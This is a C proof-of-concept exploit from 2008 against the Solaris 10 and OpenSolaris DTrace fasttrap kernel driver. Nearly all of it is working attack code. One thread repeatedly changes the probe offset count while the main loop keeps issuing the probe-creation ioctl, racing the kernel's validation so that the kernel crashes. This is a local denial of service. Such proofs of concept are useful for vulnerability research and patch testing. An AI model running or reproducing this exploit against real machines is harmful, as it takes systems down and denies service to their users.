Solaris 10 / OpenSolaris (fasttrap) Local Kernel Denial of Service PoC

/* solaris-fasttrap-dos.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * Solaris >= 10/Opensolaris local kernel DoS POC * by mu-b - Wed 19 Nov 2008 * * - Tested on: Sun Solaris 10 (SPARC) * Sun OpenSolaris <= snv_113 (x86) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <pthread.h> #include <string.h> #include <sys/fasttrap.h> #include <unistd.h> #define DTRACE_FASTTRAP "/devices/pseudo/fasttrap@0:fasttrap" void * hammer (void *addr) { fasttrap_probe_spec_t *probe; probe = addr; while (1) { probe->ftps_noffs = 1024 * 128; usleep (10); } return (NULL); } int main (int argc, char **argv) { fasttrap_probe_spec_t probe; int i, fd, n, tid; printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); fd = open (DTRACE_FASTTRAP, O_RDONLY); if (fd < 0) { fprintf (stderr, "failed opening %s\n", DTRACE_FASTTRAP); return (EXIT_FAILURE); } memset (&probe, 0, sizeof probe); memset (&probe.ftps_func, 0x41, DTRACE_FUNCNAMELEN-1); memset (&probe.ftps_mod, 0x41, DTRACE_MODNAMELEN-1); probe.ftps_type = DTFTP_OFFSETS; probe.ftps_pid = getpid (); n = pthread_create (&tid, NULL, hammer, &probe); if (n < 0) { fprintf (stderr, "failed creating hammer thread\n"); return (EXIT_FAILURE); } for (i = 0; ; i++) { probe.ftps_noffs = 1; n = ioctl (fd, FASTTRAPIOC_MAKEPROBE, &probe); if (!(i % 64)) printf ("tried: %d-times\r", i); } return (EXIT_SUCCESS); }